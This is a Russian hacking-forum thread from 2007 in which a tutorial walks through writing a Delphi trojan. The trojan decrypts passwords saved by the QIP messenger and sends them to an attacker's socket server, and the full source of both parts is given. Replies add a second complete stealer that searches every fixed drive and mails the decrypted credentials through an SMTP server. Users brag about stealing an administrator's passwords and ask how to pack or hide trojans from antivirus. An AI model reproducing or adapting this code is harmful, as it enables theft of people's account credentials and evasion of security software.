Авторские статьи Пишем простого троя

Discussion in 'Статьи' started by Sov1et, 4 Jan 2007.

  1. Sov1et

    Sov1et Elder - Старейшина

    Joined:
    23 Feb 2006
    Messages:
    60
    Likes Received:
    53
    Reputations:
    20
    Пишем простого троя

    .:: [0] Введение::.

    Написать статью решил потому что РЕАЛЬНО ЗАДРАЛИ ТЕМЫ ПРО ПИНЧА и подобных народных троев… Хотя бы один раз в неделю кто-то спросит - а как же всё таки его настроить!! И ничего как видно не помогает ни минусики к репе, ни предложения сконфигурировать троя за wmz ;))))
    Так вот я попытаюсь в доходчивой форме рассказать как можно написать маленького скудненького в возможностях но СВОЕГО троя, который будет тырить сохранённые пароли из QiP’а. Отправка будет осуществляться на прямой ip что в принципе не безопасно (могут найти и настучать по голове) - но в ознакомительной форме и для некоторых задач он прокатит. (Мною он был с успехом применён в университетской локалке для угона пассов с компа препода-админа =) ).
    И так мы уже определисиль, что трой будет состоять из двух частей : (1) Сервер и (2) Сам трой. Трой не будет прописываться ни в реестр ни в автозапуск (если захотите сами сделаете – инфы море), а просто при запуске отсылает пароли (и/или другую конфиденциальную информацию это уже что прикрутите сверху) на сервер который должен быть включён и настроен к работе. Писать мы будем на Делфи.

    .:: [1] Немного теории (а куда ж без неё)::.

    И так писать мы будем с использованием winsock api – так что про всякие закладки панели инструментов со всякими новомодными компонентами забываем сразу – написаный с их помощью код принесёт нам 600 кб – классненький трой получается =)). А так мы достигнем малого веса и вообще писать на низком уровне даёт большую гибкость да и научишься большему ;)). Значит в Windows для работы с сокетами есть специальная библиотека winsock.dll. С ней мы и будем работать . Для реализации работы с ней существует файл заголовков всех её процедур и функций winsock.pas. Познакомимся с некоторыми из них которые будут использованы в проекте :

    :: function wsastartup(wversionrequired: word; var wsdata: twsadata): integer; stdcall;
    Функция сообщает ОС, что в любом процессе приложения могут быть использованы функции winsock. Функция должна быть вызвана один раз при запуске приложения перед использованием любой функции winsock.

    :: function wsacleanup: integer; stdcall;
    Функция сообщает ОС, что приложение более не использует winsock. Должна быть вызвана в конце проги.

    :: function socket(af, struct, protocol: integer): tsocket; stdcall;
    Функция создает сокет.
    Входящий параметр af - Тип используемой адресации –нас интересует Интернет поетому нам надо использовать PF_INET или AF_INET. Различи в типе работы : соответственно синхронная и асинхронная. Мы будем использовать синхронную работу так как она проще в реализации . =)
    struct - спецификация типа нового сокета . Может принимать значения
    sock_stream – для TCP (с надежным соединением)
    sock_dgram- для UDP (не производящий соединений)
    protocol - тип протокол, который будет использоваться сокетом.Здесь значений много. Мы будем исползовать ipproto_ip.
    Если функция выполнена без ошибок, она возвращает дескриптор на новый сокет, если ошибки есть, возвращается invalid_socket.

    :: function connect(s: tsocket; var name: tsockaddr; namelen: integer): integer; stdcall;
    Функция соединения для клиента. Структура адреса содержит порт (необходимо привести функцией htons) и адрес (для клиента необходимо привести из имени или спецификации ip4 - xxx.xxx.xxx.xxx).Для тестинга будем использовать 127.0.0.1.

    :: function bind(s: tsocket; var addr: tsockaddr; namelen: integer): integer; stdcall;
    Функция биндит сокет (ассоциирует адрес и порт с сокетом). Структура адреса содержит порт (необходимо привести функцией htons) и адрес (для сервера мы укажем inaddr_any – то есть любой).

    :: function send(s: tsocket; var buf; len, flags: integer): integer; stdcall;
    Посылает буфер данных сокету s длиной len. Последний параметр отвечает за вид передачи сообщения. Может быть проигнорирован (0).

    :: function recv(s: tsocket; var buf; len, flags: integer): integer; stdcall;
    Принимает данные от сокета s
    Параметры аналогичны send, только s характеризует сокет, от которого принимаются данные

    :: function listen(s:tsocket , backlog: integer);
    Устанавливает сокет s в состояние ожидания подключения.
    backlog - максимальное количество подключений
    (можно установить в SOMAXCONN)

    :: function accept(s: TSocket; addr: PSockAddr; addrlen: PInteger): TSocket; stdcall;
    Принимает попытку подключения клиента.
    Возвращаемое значение - сокет клиента.
    s - сокет, использованный в ф-ции listen.

    Теперь перейдём к самому интересному кодингу! ;)

    .:: [2] шКОДИМ::.

    И так начнём с КЛИЕНТА(то бишь троя), так как он более прост в понимании и разобраться лучше сначала с ним.
    Значит создаём консольное приложении (на всякий случай напомню : New->Other…->Console Application) и убираем из него {$APPTYPE CONSOLE} для того чтобы во время запуска не выпрыгивало а потом исчезало окно шела виндовс.
    Собственно код :

    Code:
    program Client;
    
    
    
    uses
      sysutils,
      winsock,
      QIP in 'QIP.pas'   //модуль для выдирания паролей из QIP'a
      ;
    
    type
        Tconf = record
        ip: string;
        port: integer;
        end;
    
    var  config : Tconf;
         vwsadata : twsadata;
         vsocket : tsocket;
         vsockaddr : tsockaddr;
    
    
    function Set_config(const ip:string='127.0.0.1'; port : word=133):boolean; // функуия установки настроек;
    begin                // по дефалту работаем на локалхосте с портом 133
         config.ip:=ip;
         config.port:=port;
    end;
    
    function CreateSocket():boolean;
    begin
         Result:=false;
         if wsastartup($101,vwsadata)<>0 then halt(1); // указывает что мы будем юзать winsock'ы
         vsocket := socket(af_inet,sock_stream,ipproto_ip);  // создаём сокет
         if vsocket = invalid_socket then halt(1);   //проверочка... =)
         fillchar(vsockaddr,sizeof(tsockaddr),0);    //
         vsockaddr.sin_family := af_inet;          //устанавливаем тип  семейства используемой адресации
         vsockaddr.sin_port := htons(config.port); // устанавливаем порт
         vsockaddr.sin_addr.s_addr := inet_addr(Pchar(config.ip)); // устанавливаем ip севака..
         if connect(vsocket,vsockaddr,sizeof(tsockaddr)) = socket_error then halt(1);    //коннектимся к  нашему севваку для передачи данных..
         Result:=true;
    end;
    
    function DestroySocket():boolean;   // закрываем сокеты
    begin
         Result:=false;
         closesocket(vsocket);
         wsacleanup;
         Result:=true;
    end;
    
    function CryptData(str: string):string;  // Для того что бы данные не передавались
                                            // вообще открыто применим простенькое шифрование
    var i,n: integer;
        cr_str : string;
    begin
          result:='';
          n:=length(str);
          cr_str:='';
          for i:=1 to n do
          begin
    
                cr_str:=cr_str+Char(Byte(str[i])+12); // криптуем увеличив значение каждого символа на 12
          end;
          result:=cr_str;
    end;
    
    function SendData(send_string: string):boolean;   // Посылаем нашему серверу инфу.
    var s : string;
    begin
          Result:=false;
          s:=CryptData(send_string);  // криптуем
          send(vsocket,s[1],length(s)+1,0);     // отсылаем
          Result:=true;
    end;
    
    
    
    begin
    
       Set_config();   //задаём настройки  (используем настройки по дефалту )
       CreateSocket;                  //создаём все сокеты
       SendData(OutString);           // отправляем данные -OutString - это функция из модуля QiP'a
       DestroySocket;                 //убиваем сокеты
    
    
    end.
    
    Исходник хорошо комментированы и трудностей возникнуть не должно.
    Как видите для выдирания пасса я использовал чуть изменённую библиотеку из проги QPRv1.61. Её код:

    Code:
    unit QIP;
    
    interface
    
    uses  windows,  Classes,SysUtils;
    
    type TPassList=array of TStrings;
    
    const  n_Path =5; 
           path : array [0..n_Path] of string  =('D:\qip\','D:\Program Files\QIP\','C:\Program Files\QIP\','E:\Program Files\QIP\','C:\QIP\', 'E:\QIP\');
    		// пути к папке с Qip'ом 
    var
        PassList:TPassList;
        buf:array[0..1023]of char;
        QipExePathFromReg:string;
    
    function DecryptQIPPass_New(pass:string):string;
    
    function FromINI(path:string):string;
    procedure ExtractPass(QIPPath:string);
    procedure AddString(uin,pas:string);
    procedure SaveReport(FileName:string);
    
    function OutString():string;
    
    implementation
    
    function InHEX(s:string):string;
    var i:integer;
    begin result:='';
          for i:=1 to length(s) do
    	result:=result+inttohex(ord(s[i]),2)+' '
    end;
    
    procedure AddString(uin,pas:string);
      function CheckRepeat:boolean;
      var i:integer;
      begin result:=true;
    	for i:=0 to Length(PassList)-1 do
    	  if PassList[i].Strings[0]=uin then
    	    if PassList[i].Strings[1]=pas then
    	      result:=false
      end;
    begin if CheckRepeat then begin
    	SetLength(PassList,Length(PassList)+1);
    	PassList[Length(PassList)-1]:=TStringList.Create;
    	PassList[Length(PassList)-1].Add(uin);
    	PassList[Length(PassList)-1].Add(pas);
    	if (pas<>'Not Saved')and(pas<>'Cannot Decrypt') then
    	  PassList[Length(PassList)-1].Add(InHEX(pas))
          end
    end;
    
    procedure SaveReport(FileName:string);
    var rep:TFileStream;
        s:string;
        i:integer;
    begin try
    	rep:=TFileStream.Create(FileName,fmCreate);
    	for i:=0 to Length(PassList)-1 do begin
    	  if PassList[i].Count>0 then begin
    	    s:=PassList[i].Strings[0]+#9;
    	    if length(s)<9 then s:=s+#9;
    	    rep.WriteBuffer(s[1],length(s))
    	  end;
    
    	  if PassList[i].Count>1 then begin
    	    s:=PassList[i].Strings[1]+#9;
    	    if length(s)<9 then s:=s+#9;
    	    rep.WriteBuffer(s[1],length(s))
    	  end;
    
    	  if PassList[i].Count>2 then begin
    	    s:=PassList[i].Strings[2];
    	    rep.WriteBuffer(s[1],length(s))
    	  end;
    
    	  rep.WriteBuffer(#13#10,2)
    	end;
    	rep.Free
          except
          end
    end;
    
    function DecryptQIPPass_New(pass:string):string;
      function DecodeBase64(value:string):string;
        function DecodeChunk(const chunk:string):string;
        const b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
        var
          w:LongWord;
          i:byte;
          c:char;
        begin
          w:=0; Result:='';
          for i:=1 to 4 do
    	if pos(Chunk[i],b64)<>0 then
    	  w:=w+word((pos(Chunk[i],b64)-1))shl((4-i)*6);
          for i := 1 to 3 do begin
    	c:=chr(w shr((3-i)shl 3)and $ff);
    	if c<>#0 then Result:=Result+c
          end
        end;
      begin
        Result:='';
        if length(Value)and $03<>0 then exit;
        while length(Value)>0 do begin
          Result:=Result+DecodeChunk(copy(value,0,4));
          delete(value,1,4);
        end
      end;
    var t,i,c:integer;
    begin i:=length(pass);
          if i=0 then
    	result:='NotSaved'
          else
    	if i and $03<>0 then
    	  result:='CannotDecrypt'
    	else begin
    	  Result:=DecodeBase64(pass);
    	  t:=$1ac3;
    	  for i:=1 to length(Result) do begin
    	    c:=Ord(Result[i]);
    	    Result[i]:=chr(c xor(t shr 8));
    	    t:=(t+c)*$38421+$64ceb;
    	  end
    	end
    end;
    
    
    function FromINI(path:string):string;
    begin result:='';
          if FileExists(path) then
          begin
                buf[GetPrivateProfileString('Main','NPass','',buf,32,pchar(path))]:=#0;
                result:=DecryptQIPPass_New(buf);
          end;
    
    
    end;
    
    procedure ExtractPass(QIPPath:string);
    var i:integer;
        acc:TStringList;
    begin if DirectoryExists(QIPPath) then
          begin
    	        QIPPath:=ExtractFilePath(QIPPath)+'Users\';
              if FileExists(QIPPath+'Accounts.cfg') then
              begin
                    acc:=TStringList.Create;
                    acc.LoadFromFile(QIPPath+'Accounts.cfg');
                    acc.NameValueSeparator:='=';
    	              for i:=0 to acc.Count-1 do
                    begin
                          acc.Strings[i]:=acc.Strings[i]+'=';
    	                     AddString(acc.Names[i], FromINI(QIPPath+acc.Names[i]+'\Config.ini'))
                    end;
                    acc.Free
    
              end;
          end;
    end;
    
    function OutString():string; // функция выдирания пассов по адресам папкок из массива
    var
        i,n: word;
        ss : Tstrings;
    begin
          Result:='';
          for i:=0 to n_Path do ExtractPass(path[i]);
    
          n:=length(PassList);
    
          for i:=0 to n-1 do
          Begin
                ss:=PassList[i];
               Result:=Result+ss[0]+':'+ss[1]+' ';
          End;
    end;
    
    
    end.
    Пару слов об папке с QiP’ом . В примере я использовал массив с путями, но как понимаете реальный путь может быть другой. Берём в учёт что qip можно не ставить через инстал, а скачать в архиве. Можно проверить ветви реестра на автозапуск – так как многие пользователи (я в их числе) ставят qip на автозапуск. А можно произвести поиск по ярлыкам на рабочем столе… в принципе решения есть ;))

    А теперь СЕРВЕР. Для понятия как он работает нужно знать что такое потоки. Потоки это необходимая вещь в хозяйстве (так похабный смех прекратить =) ) кодера под винду. Для создания потока служит функция:

    function CreateThread(lpThreadAttributes: Pointer;
    dwStackSize: DWORD; lpStartAddress: TFNThreadStartRoutine;
    lpParameter: Pointer; dwCreationFlags: DWORD; var lpThreadId: DWORD): THandle; stdcall;


    Главное не пугаться этого монстра – в большинстве параметров можно смело ставить 0. Обязательнымы является lpStartAddress – для создания адреса потока.

    Опишу как работает сервер: он висит на порте и ожидает подключения нашего троя – как только он подключился – создаётся новый поток который обслуживает соединение. Данные принимаются потом дэкриптуются, парсятся и выводятся на консоль.

    Code:
    program Server;
    
    {$APPTYPE CONSOLE}
    
    uses
      SysUtils,
      winsock, //библиотка для работы с сокетами
      windows;
    
    
    
    const
          port=133; // Порт на котором будет сидеть наш сервак
    
    var
        VWsadata : twsadata ; //потребуется для функции обьявления использования сокетов
        LSocket : tsocket;   //обявляем сокет
        LSockaddr : tsockaddr; //Структура типа TSockAddr для описания прослушивания порта
        ConSocket : tsocket; //сокет который появится при коннекте к серверу
        trid : thandle; //для создания потоков
    
    function CreateSocket(): boolean;
    begin
        writeln('Starting...');
          if wsastartup($101,vwsadata)<>0 then halt(1);  //сообщаем что программа будет использовать windows sockets.
        LSocket := socket(af_inet,sock_stream,ipproto_ip);    //Создаем сокет.
        writeln(format('Port [%d]',[port]));               //Выведем порт на котором притаился наш сокет
          if LSocket = invalid_socket then halt(1);      //Проверочка.
        fillchar(LSockaddr,sizeof(tsockaddr),0);             //Определяем размер буфера чтения для сокета
        LSockaddr.sin_family := af_inet;
        LSockaddr.sin_port := htons(port);
        LSockaddr.sin_addr.s_addr := inaddr_any;//указываем вместо ip ету переменную для сервера
          if bind(LSocket,LSockaddr,sizeof(tsockaddr)) <> 0 then halt(1); //Привязываем адрес и порт к сокету
          if listen(LSocket,somaxconn) <> 0 then halt(1);  //Начинаем прослушивать.
        writeln('In progress....');
        
    end;
    
    
    
    procedure StatThread; //поток  статистики  - в него можно напихать всякого для управления сервером
    var
        command : string;
    begin
         repeat         //принимаем  команды и осуществляем их ;)
              readln(command);
              if  command='q' then halt(0);// при команде q – осуществляется выход
              
         until false;
    end;
    
    function Decrypt(str:string):string; // де криптинг пришедшего с троя
    var i,n: integer;
        cr_str : string;
    begin
          result:='';
          n:=length(str);
          cr_str:='';
          for i:=1 to n do
          begin
               cr_str:=cr_str+Char(Byte(str[i])-12); // дэкриптуем уменшив значение каждого символа на 12
          end;
          result:=cr_str;
    end;
    
    function RecvData(str:string): boolean; //функция для принятия данных от троя  и их обработки
    var
        i,n : word;
        s,strn:string;
    begin
          writeln;
          writeln('--------PASSES--------');
          result:=false;
          s:=Decrypt(str);                     //дэкриптовка данных
          n:=length(s);
          for i:=1 to n do                     //производится парсинг принятых данных
          begin                                //на пробеллы - если попадется пробелл
               if s[i]<>' '                    //значит новый кусок данных
                  then  strn:=strn+s[i]
                  else begin WriteLn(strn); strn:=''; end;
          end;
          writeln('----------------------');
          writeln;
          result:=true;
    end;
    
    procedure MainThread; //главный поток - создайтся для каждого подключения к серверу
    var sockname : tsockaddr;
        abuf : array of char;
        vbuf : string;
        vsize : integer;
        s :tsocket;
        bufsize : integer;
    
    begin
    
        s := ConSocket;    
        if s = invalid_socket then exit;
        vsize := sizeof(tsockaddr);
        getpeername(s, sockname, vsize); //возвращает информацию о канале, ассоциированном с сокетом
    
        vsize := sizeof(bufsize);               //Определяем размер буфера чтения для сокета
        getsockopt(s,sol_socket,so_rcvbuf,pchar(@bufsize),vsize);
        setlength(abuf,bufsize);
    
        repeat
            //Получаем данные. Процедура работает в блокирующем режиме,
            //таким образом следующая строка кода не получит управление,
            //пока не поступят данные от клиента.
            vsize := recv(s,abuf[0],bufsize,0);  //получаем данные от троя
            if vsize<=0 then break;
            setlength(vbuf,vsize);
            lstrcpyn(@vbuf[1],@abuf[0],vsize);
            RecvData(vbuf);     // отправляем принятые данные на обработку
        
        until false;
    
        setlength(abuf,0);
        closesocket(s);
    
    end;
    
    function DestroySocket():boolean;
    begin
          Result:=false;
          closesocket(LSocket); //закрываем осной сокет
          wsacleanup;
          result:=true;
    end;
    
    
    begin
         CreateSocket;
    
         createthread(nil,0,@StatThread,0,0,trid);    //Поток статистики
         repeat    //Ожидаем подключения
               ConSocket := accept(LSocket,nil,nil);  //еслии  есть  соединение создаём сокет
               createthread(nil,0,@MainThread,0,0,trid); //Трой подключился, запускаем новый поток на соединение.
         until false;
    
         DestroySocket; 
    end.
    .:: [3] Вместо эпилога ;)::.


    После компиляции получаем большиватый разметчик – у меня получилось 89 кбайт. Если захочешь использовать его в боевых условиях – нужно обязательно упаковать и скрыть следы упаковки. После таких действий у мя вышло 45 кбайт.
    Вот в принципе и всё что я хотел вам поведать в этой статейке. Удачной компиляции и не забывайте что сначала надо думать головой, пользоваться поиском и в крайнем случае задавать вопросы (хорошо сформулированные) ;).

    ------------------
    З.Ы. Естественно за любое использование данного материала в злостных деяниях тебя никто по головке (опять этот похабный смех?? =) ) не погладит.
    З.З.Ы. Ставте “+” пжлт - очень старался…. =)
     
  2. Sov1et

    Sov1et Elder - Старейшина

    Joined:
    23 Feb 2006
    Messages:
    60
    Likes Received:
    53
    Reputations:
    20
    Эээ ну обычный Upx.Он же всё равно антивиром то не ловится. И ето тока для уменьшения веса и защиты кода.
     
    1 person likes this.
  3. GeyDee

    GeyDee Elder - Старейшина

    Joined:
    18 Mar 2006
    Messages:
    121
    Likes Received:
    61
    Reputations:
    18
    Хмммм....Нужно протестить его в деле, однако....
    Хотя в сети и есть трои подобно этому, тоже сорцы, но хз палятся они или нет. +
     
  4. 7ion

    7ion Banned

    Joined:
    29 Oct 2006
    Messages:
    68
    Likes Received:
    26
    Reputations:
    2
    дайте, пожалуйста ссылки на сайты по подобной теме. А то сколько я не искал ничего не нашел :(
     
  5. t04

    t04 Elder - Старейшина

    Joined:
    10 Jan 2007
    Messages:
    137
    Likes Received:
    40
    Reputations:
    8
    я написал на Delphi в 11 КБайт для QIP

    1) ищет и везде по всем дискам и каталогам
    2) выдирает пароли
    3) дешифрует их
    4) отсылает пароли на почтовый ящик

    Модуль и описание работы с ним находятся тут

    кому интересно стучи в асю: 466-526-466;
     
    #5 t04, 10 Jan 2007
    Last edited: 15 Feb 2007
    1 person likes this.
  6. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Хоть я и ничего не понял, но + за старания поставить должен!
     
    2 people like this.
  7. mR_LiNK[deface_0nl

    mR_LiNK[deface_0nl Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    147
    Likes Received:
    27
    Reputations:
    13
    Хор постарался
    сам на делфи пишу, так что оч позновательно
    + те в репу)
     
  8. Ci5

    Ci5 Elder - Старейшина

    Joined:
    10 Oct 2006
    Messages:
    141
    Likes Received:
    100
    Reputations:
    -1
    Cool ! Сейчас сам трой пишу, а эта инфа мне понадобится. Сейчас + за страния, завтра проверю и еще ++ влуплю.
     
  9. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    Предлагают купить spyware на delphi ? Смело посылайте горе-кодеров НА*УЙ!
    (c) ProTeuS
     
    1 person likes this.
  10. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,192
    Reputations:
    430
    Посылают НА*УЙ ?! - Смело шли посылальщика НА*УЙ!!! (с) Я :)))))
    Вот ещё откопал. Актуально для 7996 по-моему.
    Code:
    program xekqip;
    
    uses
      Windows,
      WinSock;
    
    var
      PasWD : String = '';  
    
    function ShellExecute(hWnd: LongInt;
    					  Operation, FileName, Parameters, Directory: PChar;
    					  ShowCmd: Integer): HINST;
    					  stdcall; external 'shell32.dll' name 'ShellExecuteA';
    
    function MyStrToInt(S:String):Integer;
    var
    I, ErrorCode: Integer;
    begin
      Result:=-0;
      Val(S, I, ErrorCode);
      if ErrorCode <> 0 then
    	begin
    	  WinExec(PChar(ParamStr(0)),SW_HIDE);
    	  Halt;
    	end
      else
    	Result := I;
    end;
    
    function DecryptQIPPass_New(pass:string):string;
    
    function DecodeBase64(value:string):string;
    
    function DecodeChunk(const chunk:string):string;
    const
      b64='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
    var
      w : LongWord;
      i : byte;
      c : char;
    begin
      w:=0;
      Result:='';
      for i:=1 to 4 do
    	   if pos(Chunk[i],b64)<>0 then
    		 w:=w+word((pos(Chunk[i],b64)-1))shl((4-i)*6);
      for i := 1 to 3 do
    	begin
    		 c:=chr(w shr((3-i)shl 3)and $ff);
    		 if c<>#0 then Result:=Result+c
    	end
    end;
    
    begin
      Result:='';
      if length(Value)and $03<>0 then exit;
      while length(Value)>0 do
    	begin
    	  Result:=Result+DecodeChunk(copy(value,0,4));
    	  delete(value,1,4);
    	end
    end;
    
    var
      t,i,c : integer;
    begin
      i:=length(pass);
      if i=0 then
    	   result:='Not Saved'
      else
    	 if i and $03<>0 then
    	   result:='Cannot Decrypt'
    	 else
    	begin
    		 Result:=DecodeBase64(pass);
    		 t:=$1ac3;
    		   for i:=1 to length(Result) do
    		  begin
    			   c:=Ord(Result[i]);
    			   Result[i]:=chr(c xor(t shr 8));
    			t:=(t+c)*$38421+$64ceb;
    			 end
    	end
    end;
    
    function DecryptQIPPass_Old(pass:string):string;
    const
      Table1:string='4654360486439083677';
      Table2:string='216463956385630579';
    
    function DeXor1(const Pass,Table:string):string;
    var
      CryptChar:Byte;
      i,p:Integer;
    begin
      Result:=Pass;
      CryptChar:=Length(Table)-1;
      p:=1;
      for i:=1 to Length(Result) do begin
    	if (CryptChar and 8) = 0 then
    	  CryptChar:=CryptChar xor 1;
    	CryptChar:=not CryptChar;
    	CryptChar:=(CryptChar shr 1)or(CryptChar shl 7);
    	Result[i]:=Chr(Ord(Result[i])xor CryptChar xor Ord(Table[p]));
    	Inc(p);
    	if p>Length(Table) then
    	  p:=1;
      end;
    end;
    
    function DeXor2(const Pass:string):string;
    var
      CryptInt:SmallInt;
      i,t,l,v:integer;
    const
      Table: array[0..$5f] of Byte = (
    	$5A, $54, $5B, $5C, $55, $4E, $48, $4F, $56, $5D, $5E, $57, $50, $49, $42, $3C,
    	$43, $4A, $51, $58, $5F, $59, $52, $4B, $44, $3D, $36, $30, $37, $3E, $45, $4C,
    	$53, $4D, $46, $3F, $38, $31, $2A, $24, $2B, $32, $39, $40, $47, $41, $3A, $33,
    	$2C, $25, $1E, $18, $1F, $26, $2D, $34, $3B, $35, $2E, $27, $20, $19, $12, $0C,
    	$13, $1A, $21, $28, $2F, $29, $22, $1B, $14, $0D, $06, $00, $07, $0E, $15, $1C,
    	$23, $1D, $16, $0F, $08, $01, $02, $09, $10, $17, $11, $0A, $03, $04, $0B, $05
      );
    begin
      Result:=Pass;
      l:=length(Result);
      t:=l;
      for i:=1 to l do begin
    	CryptInt:=Ord(Result[i])-$20;
    	if (CryptInt>=0) and (CryptInt<=$5f) then begin
    	  v:=CryptInt;
    	  if l and $03<>0 then
    	 t:=(t shl 3)or(t shr 27);
    	  t := t and $1f;
    	  CryptInt:=CryptInt xor t;
    	  t:=t+l+v;
    	  Result[i]:=Chr(Table[CryptInt]+$20);
    	end;
    	Dec(l);
      end;
    end;
    
    var
      i,l:integer;
    begin
      result:='';
      l:=length(pass);
      if l=0 then
    	result:='Not Saved'
      else
    	if l and $01<>0 then
    	  result:='Cannot Decrypt'
    	else
    	  begin
    		for i:=1 to l do
    		  begin
    			   if pos(pass[i],'0123456789ABCDEF')=0 then
    			  begin
    				   result:='Cannot Decrypt';
    				   exit
    				 end
    		  end;
    		for i := 1 to l shr 1 do
    			 Result:=Result+Chr(MyStrToInt('$'+Copy(pass,i shl 1 -1,2)));
    	  Result:=DeXor1(Result,Table1);
    	  Result:=DeXor1(Result,Table2);
    	  Result:=DeXor2(Result);
    	end
    end;
    
    function MyGetLogicalDrives : String;
    var
       drives  : set of 0..25;
       drive   : integer;
    begin
       Result := '';
       DWORD( drives ) := Windows.GetLogicalDrives;
       for drive := 0 to 25 do
    	  if drive in drives then
    		 Result := Result + Chr( drive + Ord( 'A' ));
    end;
    
    function ExtractLastPathName(S:String):String;
    begin
    Result:=S;
    Delete(S,Length(S),1);
    while Pos('\',s) <> 0 do
      begin
    	Delete(s,1,Pos('\',s));
    	Result:=S;
      end;
    end;
    
    procedure ExtractPass(fp,fn:String);
    var
      f : TextFile;
      S : String;
    begin
      AssignFile(f,fp+fn);
      Reset(f);
      while not EOF(F) do
    	begin
    	  ReadLn(f,S);
    	  if copy(S,1,6)='NPass=' then
    		begin
    		  Delete(S,1,6);
    		  S :=  ExtractLastPathName(fp)+'; '+
    				S+'; '+
    				DecryptQIPPass_Old(S)+'; '+
    				DecryptQIPPass_New(S)+';';
    		  PasWD := PasWD + S;
    		  break;
    		end;
    	end;
      CloseFile(f);
    end;
    
    procedure ApiSearch(DiR:String);
    var
      FileName: string;
      FindHandle:THandle;
      SearchRec:TWIN32FindData;
    begin
      if Dir<>'' then if Dir[length(Dir)]<>'\' then
    	Dir:=Dir+'\';
      FindHandle := FindFirstFile(PChar(DiR+'*'), SearchRec);
      try
      if FindHandle <> INVALID_HANDLE_VALUE then
    	repeat
    	  FileName:=SearchRec.cFileName;
    	  if(FileName='.')or(FileName='..')or(Dir+FileName=ParamStr(0))then continue;
    	  if(SearchRec.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY <>0)then
    		ApiSearch(DiR+FileName+'\')
    	  else
    		if FileName = 'Config.ini' then
    		  ExtractPass(Dir,FileName);
    	until FindNextFile(FindHandle,SearchRec)=false;
      finally
    	Windows.FindClose(FindHandle);
      end;
    end;
    function SendMail(Smtp: PChar; Port: dword; From, Dest, Data: PChar): boolean;
    var
     FSocket: integer;
     HostEnt: PHostEnt;
     SockAddrIn: TSockAddrIn;
     dBuff: PChar;
     dSize: dword;
     Str: array [0..255] of Char;
     
     function Success(): boolean;
     var
      Bytes: dword;
      RBuff: array [0..255] of Char;
     begin
       Result := false;
       Bytes := recv(FSocket, RBuff, 255, 0);
       if (Bytes = 0) or (Bytes = SOCKET_ERROR) then Exit;
       RBuff[3] := #0;
       if lstrcmp(RBuff, '220') = 0 then Result := true else
       if lstrcmp(RBuff, '250') = 0 then Result := true else
       if lstrcmp(RBuff, '354') = 0 then Result := true;
     end;
     
    begin
      Result := false;
      FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
      SockAddrIn.sin_family := AF_INET;
      SockAddrIn.sin_port := htons(Port);
      SockAddrIn.sin_addr.s_addr := inet_addr(Smtp);
      if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
    	begin
    	 HostEnt := gethostbyname(Smtp);
    	 if HostEnt = nil then
    	  begin
    	   closesocket(FSocket);
    	   Exit;
    	  end;
    	 SockAddrIn.sin_addr.s_addr := PLongint(HostEnt^.h_addr_list^)^;
    	end;
      if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) <> -1 then
       begin
    	if Success then
    	 begin
    	  lstrcpy(Str, PChar('HELO ' + Smtp + #13#10#0));
    	  send(FSocket, Str, lstrlen(Str), 0);
    	  if Success then
    	   begin
    		lstrcpy(Str, PChar('MAIL FROM: ' + From + #13#10#0));
    		send(FSocket, Str, lstrlen(Str), 0);
    		if Success then
    		 begin
    		  lstrcpy(Str, PChar('RCPT TO: ' + Dest + #13#10#0));
    		  send(FSocket, Str, lstrlen(Str), 0);
    		  if Success then
    		   begin
    			lstrcpy(Str, 'DATA'#13#10#0);
    			send(FSocket, Str, lstrlen(Str), 0);
    			if Success then
    			 begin
    			  dSize := lstrlen(Data);
    			  GetMem(dBuff, dSize + 6);
    			  lstrcpy(dBuff, Data);
    			  lstrcat(dBuff, #13#10'.'#13#10#0);
    			  send(FSocket, dBuff^, dSize + 6, 0);
    			  FreeMem(dBuff);
    			  if Success then
    			   begin
    				lstrcpy(Str, 'QUIT'#13#10#0);
    				send(FSocket, Str, lstrlen(Str), 0);
    				Result := true;
    			   end;
    			 end;
    		   end;
    		 end;
    	   end;
    	 end;
       end;
     CloseSocket(FSocket);
    end;
    
    procedure Sent;
    var
      WSAData: TWSAData;
    begin
      WSAStartup(257, WSAData);
      while true do 
    	if SendMail('smtp.mail.ru', 25,'[email protected]','[email protected]', PChar(PasWD)) then
    	  Break;
      WSACleanup();
    end;
    
    procedure CallSearch;
    var
      i : Byte;
    begin
      for i := 1 to Length(myGetLogicalDrives)do
    	if GetDriveType(PChar(myGetLogicalDrives[i]+':\')) = DRIVE_FIXED then
    	  ApiSearch(myGetLogicalDrives[i]+':\');
    end;
    
    begin
      CallSearch;
      Sent;
    end.
     
    #10 Ch3ck, 4 Feb 2007
    Last edited: 4 Feb 2007
  11. germes09

    germes09 New Member

    Joined:
    3 Feb 2007
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Люди как спрятать Сервер Трояна ПроРет штоб ево не пропалил КИС 6
    вот з другом тестил как токо запукаю server.exe Каспер детектит
    вот Ася 206-380-712
     
  12. Cr4sh

    Cr4sh net maniac

    Joined:
    25 Aug 2005
    Messages:
    30
    Likes Received:
    22
    Reputations:
    27
    удивлён что не две сотни))) про спайвейр на делфе +1
    (кстати, это фраза с бывшего сайта корпсы)
     
  13. t04

    t04 Elder - Старейшина

    Joined:
    10 Jan 2007
    Messages:
    137
    Likes Received:
    40
    Reputations:
    8

    Модуль написан мной и выложен тут с описанием работы.
    Оказывается никому низя давать свои исходники =(
     
    #13 t04, 15 Feb 2007
    Last edited: 15 Feb 2007